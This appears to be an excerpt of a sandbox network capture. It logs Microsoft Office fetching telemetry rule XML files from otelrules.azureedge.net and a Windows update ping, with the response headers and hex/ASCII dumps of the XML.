2024-11-18 04:57:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:37 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045737Z-16547b76f7fmcv27hC1DFWgpcg000000040000000000pk8k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:37 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	60362	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-11-18 04:57:37 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: I2JkQxdGjkWD2Dj/.0 MS-RequestId: ebe69879-1073-4af3-ba44-e3e94b663dc9 MS-CorrelationId: 065f4b43-a7ef-4789-bbce-2e637ac51b1b X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 04:57:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	60363	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:37 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045737Z-1866b5c5fbbfhwqqhC1DFW513800000004ug0000000029u8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:38 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	60364	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:38 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045738Z-1866b5c5fbb7km9phC1DFWr2sc000000046g0000000063c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:38 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	60365	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:38 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:38 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: b8bdc226-001e-00ad-799a-38554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045738Z-1866b5c5fbbls4jchC1DFWnmb400000000q000000000a4xm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:38 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	60366	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:38 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:38 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045738Z-16547b76f7fwggrphC1DFW2a8s000000049g000000002e2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:38 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	60367	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:38 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5d228471-101e-007a-15a6-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045738Z-164f84587bfn7ppchC1DFW0meg00000004p000000000cuc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:38 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	60368	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:38 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:38 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 6864d5dd-401e-00ac-049c-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045738Z-164f84587bfm8kdnhC1DFWey4g00000005c000000000eng6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	60369	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:38 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:38 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 07de4fd9-201e-0051-6eb1-377340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045738Z-1866b5c5fbbqmbqjhC1DFWwgvc00000004v000000000bg9n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:38 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	60370	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:38 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:39 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:39 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045739Z-16547b76f7f6nr89hC1DFWz7ug00000001n000000000df63 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:39 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	60371	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:38 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:39 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: ecab8261-801e-00a3-2dbb-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045739Z-1866b5c5fbbz7hb5hC1DFWru7c000000055g00000000gxks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:39 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	60372	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:39 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:39 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 15572004-d01e-002b-5493-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045739Z-164f84587bf9nk94hC1DFWerbg00000004cg000000005rtc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:39 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	60373	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:39 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: f87a9289-e01e-0099-41af-36da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045739Z-16547b76f7fpdsp9hC1DFW8f5000000002xg000000009wsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
